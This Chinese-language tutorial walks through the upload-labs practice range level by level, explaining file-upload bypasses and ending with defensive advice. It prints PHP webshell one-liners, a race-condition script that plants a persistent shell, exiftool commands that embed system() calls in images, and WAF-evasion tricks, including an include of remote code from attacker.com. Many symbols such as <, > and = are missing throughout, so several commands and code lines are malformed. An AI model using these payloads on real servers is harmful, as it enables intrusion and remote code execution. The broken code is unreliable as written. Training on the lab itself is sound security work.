文件上传漏洞实战:从基础绕过到高级防御的upload-labs通关指南

发布时间:2026/7/4 23:13:24
文件上传漏洞实战:从基础绕过到高级防御的upload-labs通关指南 1. 项目概述为什么upload-labs是文件上传漏洞的“百科全书”如果你刚接触Web安全想找一个地方系统地、彻底地搞懂文件上传漏洞那upload-labs靶场几乎是你的不二之选。这个由国内安全研究员c0ny1维护的开源项目在GitHub上收获了超过4.2k的Star它不是一个简单的漏洞演示而是一个精心设计的“闯关游戏”。它用PHP编写模拟了从最基础的客户端校验到复杂的服务器端逻辑、解析漏洞、条件竞争等总共21种原20关后扩展不同类型的文件上传漏洞场景。我见过太多新手学了点理论知道要传个一句话木马但一遇到实际环境就懵了upload-labs的价值就在于它把你在真实渗透测试和CTF比赛中可能遇到的各种“坑”和“弯弯绕绕”都浓缩在了这21个关卡里。通过亲手通关你不仅能记住各种绕过技巧更能深刻理解每一种漏洞背后的防御逻辑是如何被击穿的这才是从“脚本小子”迈向“安全工程师”的关键一步。2. 环境搭建与靶场部署避开第一个“坑”动手之前先把环境搭好。虽然官方提供了Windows的绿色集成包但我强烈建议尤其是想走职业路线的朋友在Linux环境下用Docker部署。这不仅能让你熟悉安全测试的常用环境也能避免一些因环境差异导致的“灵异事件”。2.1 基于Docker的一键部署推荐这是最干净、最不容易出错的方式。确保你的系统已经安装了Docker和Docker Compose。首先把项目克隆到本地git clone https://github.com/c0ny1/upload-labs.git cd upload-labs然后进入docker目录使用官方提供的Dockerfile构建镜像并运行cd docker docker build -t upload-labs . docker run -d -p 8080:80 --name upload-labs-container upload-labs或者更简单直接从Docker Hub拉取现成的镜像docker pull c0ny1/upload-labs docker run -d -p 8080:80 --name upload-labs-container c0ny1/upload-labs执行成功后在浏览器访问http://你的服务器IP:8080或http://localhost:8080就能看到upload-labs的主界面了。注意这里将容器内部的80端口映射到了宿主机的8080端口是为了避免和你本地可能已有的Web服务如Apache/Nginx默认的80端口冲突。如果你确认80端口空闲可以改成-p 80:80。2.2 Windows绿色包部署快速体验对于想快速上手、不熟悉命令行的朋友可以直接去项目的GitHub Release页面下载打包好的Windows环境。解压后通常会有一个像phpStudy或XAMPP的集成环境里面已经配置好了Apache、PHP通常是5.2.17或5.4等版本和靶场代码。你只需要启动集成环境里的Apache服务然后访问http://localhost即可。实操心得官方推荐PHP 5.2.17是有原因的。一些较老的漏洞利用技巧特别是与PHP版本特性相关的如某些特殊后缀的解析在高版本PHP如7.x以上中可能已经失效。如果你想原汁原味地体验所有关卡尤其是涉及%00截断的关卡请务必使用PHP 5.2.x或5.4.x版本。用Docker部署能完美解决版本依赖问题。2.3 环境自检与常见问题部署完成后别急着闯关。先点开主界面左侧的“查看源码”链接确保你能正常看到每一关的PHP后端代码。这是学习的关键因为我们的目标是理解代码逻辑而不仅仅是记住一个上传成功的payload。如果页面显示异常或无法访问请按以下步骤排查端口占用检查你映射的端口如8080是否已被其他程序占用。可以用netstat -ano | findstr :8080(Windows) 或lsof -i:8080(Linux/Mac) 命令查看。容器状态运行docker ps查看upload-labs-container是否处于Up状态。如果不是用docker logs upload-labs-container查看容器启动日志定位错误。文件权限如果你是在Linux下手动配置非Docker确保Web目录如/var/www/html/upload-labs对Web服务器进程通常是www-data或apache用户有读取和执行权限。PHP组件确保PHP安装了gd2和exif扩展。在Docker镜像中已默认安装但如果你是自己搭建的环境需要在php.ini中取消对应扩展的注释去掉行首的分号并重启Web服务。3. 核心漏洞类型与通关思路全解析upload-labs的21个关卡可以归纳为几大核心漏洞类型。理解这些类型就等于掌握了文件上传漏洞的知识图谱。3.1 前端JavaScript校验绕过Pass-01这是最简单的一关也是很多新手遇到的第一个“纸老虎”。它的防御逻辑完全写在浏览器的JavaScript代码里检查你选择的文件后缀名是否在白名单如.jpg,.png,.gif内。绕过方法1直接禁用浏览器JS最粗暴有效的方法。按F12打开开发者工具进入“设置”Settings或Preferences找到“Debugger”或“JavaScript”选项勾选“Disable JavaScript”。然后刷新页面你就可以上传任何文件了。绕过方法2抓包改包这是更通用的方法因为后续很多关卡都需要用到。步骤是打开Burp Suite配置浏览器代理。在upload-labs页面选择一张正常的图片如test.jpg点击上传。此时Burp Suite会拦截到HTTP POST请求。在Proxy - Intercept标签页下你可以看到请求体其中包含了文件内容。直接将文件名test.jpg修改为test.php然后点击“Forward”放行请求。回到浏览器你会发现服务器已经接收并保存了test.php文件。为什么能绕过因为前端JS校验就像一道“门卫”只检查你递过去的“名片”文件名。当你通过Burp Suite直接修改HTTP请求时相当于绕过了门卫直接把东西送进了后院服务器。服务器后端如果没有做任何校验就会直接接收。注意事项这一关的目的是让你建立“前端校验不可信”的基本安全观念。在实际安全评估中任何仅依赖前端进行的安全控制如输入校验、权限判断都是可以被绕过的。3.2 服务端MIME类型校验绕过Pass-02这一关服务器学聪明了它开始检查HTTP请求头中的Content-Type字段。当你上传一个文件时浏览器会自动根据文件后缀设置这个类型例如image/jpeg对应.jpgtext/plain对应.txt。如果服务器只允许image/jpeg,image/png,image/gif这些类型你直接上传.php文件其Content-Type会是application/octet-stream或text/php从而被拒绝。绕过方法抓包修改Content-Type准备一个PHP一句话木马文件内容如?php eval($_POST[cmd]);?保存为shell.php。在Burp Suite开启拦截的情况下上传这个shell.php。拦截到请求后找到请求头中的Content-Type: application/octet-stream。将其修改为Content-Type: image/jpeg。放行请求上传成功。核心原理剖析MIME类型是由客户端浏览器告知服务器的服务器信任了这个信息并以此作为判断依据。但攻击者完全可以通过代理工具伪造这个信息。这告诉我们任何来自客户端、且服务端可控制的数据都不能被无条件信任包括请求头、Cookie、表单隐藏字段等。3.3 服务端后缀黑名单校验绕过Pass-03, Pass-05等从这一关开始防御逻辑移到了服务器端安全性提高了一个等级。服务器拿到文件名后会检查后缀是否在一个“黑名单”里名单里通常包含.php,.asp,.jsp,.aspx等危险后缀。如果在名单里就拒绝上传。绕过黑名单的“花式技巧”黑名单的弱点在于“不完整性”。管理员很难穷尽所有可能执行的后缀。以下是几种经典绕过方式特殊可执行后缀.php3,.php4,.php5,.phtml这些是旧版本PHP或特定配置下的可执行后缀。如果服务器配置了AddType application/x-httpd-php .php .php3 .php4 .php5 .phtml那么这些文件都会被当作PHP解析。.phps,.pht这些也是历史上存在过的PHP可执行后缀。实操上传shell.php5试试。能否成功取决于目标服务器的PHP配置。大小写绕过Pass-04黑名单里写的是.php但Windows系统文件名是大小写不敏感的。上传shell.PHP或shell.Php在Windows服务器上可能被成功解析。注意Linux/Unix系统是大小写敏感的此方法通常无效。点号.与空格绕过Pass-06在文件名末尾添加一个点shell.php.或一个空格shell.php。有些校验逻辑在去除首尾空格时可能只去一次或者去点逻辑不完善。当文件被保存到Windows系统时系统会自动去除末尾的点和空格最终文件名变回shell.php。Burp修改文件名改为shell.php.或shell.php注意空格。双写后缀绕过Pass-07防御代码可能采用简单的字符串替换如str_replace(.php, , $filename)目的是删除.php后缀。我们可以利用它只替换一次的特性上传shell.pphphp。代码执行后中间的.php被删除剩下的部分拼接起来正好是shell.php。理解逻辑shell.pphphp- 替换.php- 变成shell.php-shell.php。.htaccess文件攻击Pass-04 或 黑名单未包含.htaccess时这是Apache服务器特有的强大技巧。如果服务器允许上传.htaccess文件我们可以通过它来控制对特定后缀文件的解析方式。步骤 a. 上传一个名为.htaccess的文件内容为AddType application/x-httpd-php .jpg。这行代码告诉Apache服务器将所有.jpg文件都当作PHP代码来解析。 b. 然后再上传一个包含PHP代码的shell.jpg文件。 c. 访问shell.jpg其中的PHP代码就会被执行。前提条件Apache服务器且目标目录的AllowOverride配置允许使用FileInfo指令通常默认开启。此外黑名单里不能包含.htaccess。3.4 服务端后缀白名单校验绕过Pass-10, Pass-17等白名单校验是比黑名单更安全的策略它只允许.jpg,.png,.gif等少数几种后缀。直接上传.php会被断然拒绝。这时就需要结合其他漏洞进行攻击。绕过方法1%00截断Pass-11, Pass-12这是一个经典的漏洞依赖于PHP版本5.3.4和特定的配置。其原理是利用C语言中字符串的结束符\0NULL字节。在URL或POST数据中%00会被解码为\0。场景上传路径由用户可控例如$file_path $_GET[save_path] . $file_name;。假设save_path来自URL参数?save_path./uploads/。攻击构造URL为?save_path./uploads/1.php%00。那么最终拼接的路径是./uploads/1.php%00shell.jpg。当PHP内核处理这个字符串时遇到%00解码后为\0就认为字符串结束了实际保存的路径变成了./uploads/1.php而文件内容是我们上传的shell.jpg里面包含PHP代码。条件magic_quotes_gpcOFF该配置会转义%00且PHP版本小于5.3.4。高版本PHP已修复此问题。Burp操作在Burp中你需要先对%00进行URL解码右键 - Convert selection - URL - URL-decode让它变成原始的NULL字节在Burp里显示为一个空格或小方块。然后发送请求。绕过方法2结合文件包含漏洞Pass-13, Pass-14这是实战中最常见的场景之一。网站严格限制了上传文件的后缀白名单但它存在另一个漏洞——本地文件包含LFI。我们可以上传一个内容为PHP代码的图片马例如shell.jpg然后利用文件包含漏洞去包含这个图片文件使其中的PHP代码被执行。制作图片马# 在Linux/Mac下使用cat命令合并 cat normal.jpg shell.php webshell.jpg # 或者使用copy命令在Windows下 # copy /b normal.jpg shell.php webshell.jpg图片马看起来是张图用图片查看器能正常打开但文件末尾附加了PHP代码。利用假设网站存在文件包含漏洞URL参数为?page./uploads/webshell.jpg。当服务器包含这个文件时会从头到尾解析内容。虽然文件以图片格式开头但PHP解析器会识别其中的?php ... ?标签并执行。关键点这种攻击成功的前提是文件包含漏洞。单独的上传白名单是无法通过此方法直接getshell的。绕过方法3结合解析漏洞解析漏洞是Web容器如IIS、Nginx、Apache在解析文件路径时存在的逻辑缺陷。IIS 5.x/6.0解析漏洞目录名包含.asp、.asa、.cer等则该目录下所有文件都会被当作ASP脚本解析。例如上传shell.jpg到/upload.asp/目录下访问/upload.asp/shell.jpg该文件会被当作ASP执行。IIS 7.0/7.5/Nginx解析漏洞畸形解析在FastCGI模式下如果PHP配置cgi.fix_pathinfo1默认值当请求一个不存在的文件时PHP会向前递归解析。例如上传shell.jpg访问/shell.jpg/notexist.php。Nginx会将路径/shell.jpg/notexist.php传递给PHPPHP因为cgi.fix_pathinfo1会先判断/shell.jpg/notexist.php不存在然后向前寻找发现shell.jpg存在于是就把shell.jpg当作PHP文件来执行。upload-labs中有些关卡模拟了这种环境。Apache解析漏洞Apache对于多后缀文件从右向左解析直到遇到认识的后缀。如果配置了AddHandler php5-script .php那么对于文件shell.php.xxx.yyyApache会先找.yyy的处理器不认识再找.xxx不认识最后找到.php认识于是交给PHP处理。所以shell.php.jpg也可能被解析。但这需要非常特殊的配置并非默认行为。3.5 条件竞争漏洞Pass-18这是一种逻辑漏洞在高并发场景下出现。漏洞流程通常是服务器先允许文件上传到临时目录然后对文件进行检查如内容、后缀如果检查不通过再删除。问题在于“上传”和“删除”不是原子操作中间存在一个极短的时间窗口。攻击思路编写一个PHP脚本它一被访问就会在服务器上创建一个稳定的后门文件例如shell.php。利用Burp Suite的Intruder模块或编写Python多线程脚本持续、高速地向目标上传这个恶意脚本。同时用另一个工具如Burp Repeater或浏览器插件持续、高速地访问这个上传中的临时文件路径。只要有一次在服务器完成检查并删除文件之前我们的访问请求到达了那么该脚本就会被执行从而在服务器上生成一个永久的shell.php文件。实操步骤Burp Suite实现准备攻击脚本race.php内容为?php file_put_contents(shell.php, ?php eval($_POST[cmd]);?);?在Burp中拦截上传race.php的请求发送到Intruder。在Intruder的Positions标签选择攻击类型为“Sniper”不需要设置任何Payload位置因为我们只是重复发送同一个请求。在Payloads标签选择Payload类型为“Null payloads”并在“Payload Options”中设置生成次数为“持续”如5000次延迟为0。开始攻击。此时Burp会以最大速度重复发送上传请求。同时打开另一个Burp窗口拦截对上传文件可能路径的访问请求需要根据靶场代码猜测临时文件名规则例如可能是/upload/tmp_xxxxx.php也发送到另一个Intruder进行持续访问攻击。如果竞争成功访问shell.php就会看到我们的一句话木马已经生成。注意事项条件竞争攻击的成功率取决于网络速度、服务器处理速度和时间窗口的大小。在实战中需要结合目标业务逻辑如上传头像、附件来寻找类似的“先存后删”模式。3.6 二次渲染绕过Pass-16这是针对图片上传功能最严格的防御之一。服务器不仅检查文件头还会使用GD库或ImageMagick等库对上传的图片进行“二次渲染”——即重新压缩、调整尺寸或转换格式。这个过程会破坏嵌入在图片中的恶意代码。绕过方法研究渲染算法的“死角”不同的图片格式JPEG, PNG, GIF有不同的数据存储结构。我们需要找到那些在二次渲染后不会被修改或破坏的数据区域将PHP代码藏在那里。GIF格式GIF由多个数据块组成。二次渲染通常会重新生成图像数据块但可能保留注释块Comment Extension或应用扩展块Application Extension。我们可以尝试将PHP代码写入注释块。使用工具如gifsicle或010 Editor手动编辑。步骤gifsicle normal.gif --comment ?php phpinfo();? webshell.gifPNG格式PNG由一系列“数据块”Chunk构成。其中tEXt文本信息、zTXt压缩文本、iTXt国际文本等辅助数据块可以用来存储文本。一些二次渲染的代码可能会保留这些非关键数据块。工具使用Python的PyPNG库或pngcrush工具可以插入自定义tEXt块。JPEG格式JPEG由段Segment组成。除了图像数据段还有注释段COM段。一些图像处理库在渲染后可能会保留COM段。工具使用exiftool可以非常方便地向JPEG文件写入注释exiftool -Comment?php system($_GET[\c\]); ? normal.jpg -o webshell.jpg核心挑战二次渲染的算法因使用的库和版本而异没有一种通用的绕过方法。你需要上传一个正常图片和一个经过二次渲染的图片然后用二进制比较工具如Beyond Compare分析两者差异找出未被修改的部分尝试将代码写入那里。这是一个需要耐心和技巧的过程。4. 实战通关流程与工具链使用指南理解了原理我们以Pass-10白名单校验和Pass-11%00截断为例串联起完整的实战操作流程。4.1 工具准备浏览器Chrome或Firefox。代理工具Burp Suite Community/Professional。这是核心中的核心。一句话木马准备一个简短的PHP webshell如?php eval($_POST[pass]);?保存为shell.php。图片马生成工具系统自带的cat/copy命令或exiftool。连接工具中国菜刀历史工具已不维护、AntSword蚁剑、CKnifeC刀或哥斯拉Godzilla。推荐使用开源的蚁剑(AntSword)功能强大且活跃。4.2 Pass-10 实战白名单文件包含组合拳信息收集打开Pass-10页面查看源码。发现代码只允许.jpg,.png,.gif后缀是白名单。同时注意到页面其他地方可能存在文件包含点或者根据经验此类靶场常与文件包含漏洞搭配。制作图片马copy /b normal.jpg shell.php webshell.jpg(Windows) 或cat normal.jpg shell.php webshell.jpg(Linux/Mac)。上传图片马在页面选择webshell.jpg上传成功。记录返回的文件路径如../upload/xxxxxx.jpg。寻找包含点观察页面URL或功能寻找类似?file,?page,?include的参数。如果没有此关卡可能模拟的是另一种绕过方式如解析漏洞。我们假设存在?file参数。利用包含漏洞访问http://靶场地址/Pass-10/index.php?file../upload/xxxxxx.jpg。如果配置正确图片中的PHP代码将被执行。验证与连接在URL后添加passphpinfo();POST参数需用Burp或HackBar等工具以POST方式发送如果能看到phpinfo页面说明成功。然后使用蚁剑添加数据URL填写靶场地址连接密码填写passWebshell路径填写../upload/xxxxxx.jpg或通过包含漏洞访问的完整URL即可连接。4.3 Pass-11 实战%00截断攻击查看源码发现代码使用$_GET[save_path]拼接保存路径且对后缀做了黑名单检查。构造Payload在Burp中拦截上传一个正常文件如test.jpg的请求。修改请求将上传的文件名改为shell.jpg以通过黑名单。观察URL或请求体找到save_path参数。在Burp的Proxy - Intercept标签你可能会在URL中看到类似?save_path./uploads/或者在POST数据体中看到save_path./uploads/。将它的值修改为./uploads/shell.php%00。关键步骤选中%00右键 - Convert selection - URL -URL-decode。此时%00会变成一个空字符在Burp中显示为空格或小方块。发送请求Forward请求。如果成功服务器保存的文件名将是shell.php而不是shell.jpg。访问验证尝试访问http://靶场地址/uploads/shell.php并使用蚁剑连接。实操心得使用Burp时对于需要URL解码的NULL字节一定要在拦截界面手动解码一次。如果直接在Repeater模块的原始请求里写%00有时不会被正确解码。最稳妥的方法是先在拦截界面改好然后发送到Repeater进行后续测试。5. 深度防御绕过与高级技巧闯过基础关卡后upload-labs的后半段关卡开始融合更多复杂场景和技巧。5.1 Pass-17图片内容检查与二次渲染进阶这一关不仅检查后缀白名单还使用getimagesize()函数检查文件头确保是真实的图片。之后它用GD库的imagecreatefromjpeg()等函数打开图片进行二次渲染再保存。绕过思路制作真正的图片马不能简单地在图片末尾追加代码因为getimagesize()会读取文件头部的图像信息追加代码会破坏结构。需要使用工具将代码写入图片的元数据如EXIF信息中。使用exiftool注入exiftool -Comment?php system($_GET[cmd]); ? normal.jpg -o webshell.jpg这会将PHP代码写入JPEG文件的Comment字段。验证与利用上传webshell.jpg。由于它拥有合法的JPEG文件头和图像数据能通过getimagesize()检查。GD库在二次渲染时有可能会保留EXIF注释信息取决于GD库版本和具体渲染函数。如果保留了那么渲染后生成的新图片中依然包含我们的恶意代码。结合文件包含和之前一样需要找到一个文件包含漏洞来执行图片中的代码。因为即使代码被保留服务器也不会直接解析.jpg文件中的PHP标签。5.2 Pass-19逻辑漏洞之“检查与保存分离”这一关的代码逻辑很有代表性也常见于真实系统移动上传的临时文件到目标文件夹$file_path。然后对$file_path的文件进行重命名例如根据时间生成新文件名。问题在于它先移动保存再检查重命名后的文件后缀是否合法。如果非法它只删除了重命名后的新文件而最初移动过来的那个临时文件$file_path却留在了服务器上攻击方法上传一个.php文件。服务器将其移动到./uploads/temp.php。服务器将其重命名为./uploads/20231027_123456.jpg举例。服务器检查.jpg合法于是删除了./uploads/20231027_123456.jpg。但是原始的./uploads/temp.php文件仍然存在直接访问http://靶场地址/uploads/temp.php即可getshell。关键点找到那个未被删除的中间文件路径。这需要审计代码逻辑或者进行模糊测试尝试访问一些常见的临时文件名如temp.php,upload.tmp,[原文件名].tmp等。5.3 绕过WAFWeb应用防火墙的奇技淫巧一些关卡模拟了简单的WAF规则。WAF可能会检测请求体中的危险关键词如eval,assert,system。绕过技巧字符串变形使用PHP可变函数$aassert; $a($_POST[cmd]);使用字符串拼接$asy.stem; $a(whoami);使用编码eval(base64_decode(c3lzdGVtKCd3aG9hbWknKTs)); // 解码后是 system(whoami);请求体拆分/污染利用HTTP协议特性在Content-Disposition或参数值中插入换行符、多余空格等干扰WAF的正则匹配。例如将namefile; filenameshell.php改为namefile; filenameshell.p hp中间有换行或空格有些WAF的解析和服务器不同可能绕过。文件内容混淆在PHP代码中插入大量图片数据或无害注释将恶意代码“稀释”。使用PHP的?短标签代替?php。利用include/require包含远程文件?php include(http://attacker.com/shell.txt);?6. 防御方案与安全开发建议攻防一体理解了如何攻击才能更好地防御。一个健壮的文件上传功能应该实施“纵深防御”。1. 前端校验可做但不可信使用JavaScript进行初步的文件类型、大小校验目的是提升用户体验快速给出反馈。必须明确这不能作为安全依据。2. 服务端校验核心防线白名单校验只允许业务必需的后缀如.jpg,.png,.pdf。拒绝任何不在名单内的后缀。MIME类型校验检查$_FILES[file][type]但同样不能完全信任。应结合文件内容检查。文件内容检查文件头检查读取文件前几个字节魔数判断是否与后缀匹配。例如JPEG文件头是FF D8 FF E0。图像二次渲染对于图片使用GD库或ImageMagick等重新生成一张新图。这是最有效的手段能彻底破坏嵌入的恶意代码。病毒扫描对上传的文件进行杀毒扫描。随机化文件名上传后使用随机字符串如UUID重命名文件避免用户猜测或遍历文件路径。同时避免使用用户输入的任何部分来拼接最终路径。隐藏文件路径不直接返回文件的可访问URL。可以通过一个下载脚本如download.php?idxxx来代理访问文件并在脚本中做权限控制。3. 存储安全设置目录权限上传目录应禁止脚本执行。在Apache中可以在.htaccess中添加php_flag engine off。在Nginx中配置location规则location ~ ^/uploads/.*\.(php|php5)$ { deny all; }。分离存储将上传的文件存储到独立的域名或子域名下如static.yoursite.com该域名不解析PHP等脚本语言彻底杜绝文件被执行的可能。控制访问对上传目录设置严格的访问控制列表ACL。4. 安全配置及时更新保持Web服务器Nginx/Apache、语言环境PHP/Python及中间件的最新版本修复已知的解析漏洞。关闭危险功能在PHP配置中关闭allow_url_fopen和allow_url_include防止远程文件包含攻击。upload-labs的21关就像21个精心设计的谜题每一关都揭示了一种常见的防御缺陷和攻击思路。通关的意义不在于记住每一个payload而在于理解每一种漏洞背后的逻辑并形成“攻击者思维”。当你再看到一段上传功能的代码时能下意识地去想“这里用了白名单有没有可能截断路径是否可控有没有条件竞争的可能” 这时upload-labs的训练目的就真正达到了。我建议你在通关后尝试自己用PHP写一个安全的文件上传功能把上面提到的防御措施都实现一遍这会让你对文件上传安全有更牢固的掌握。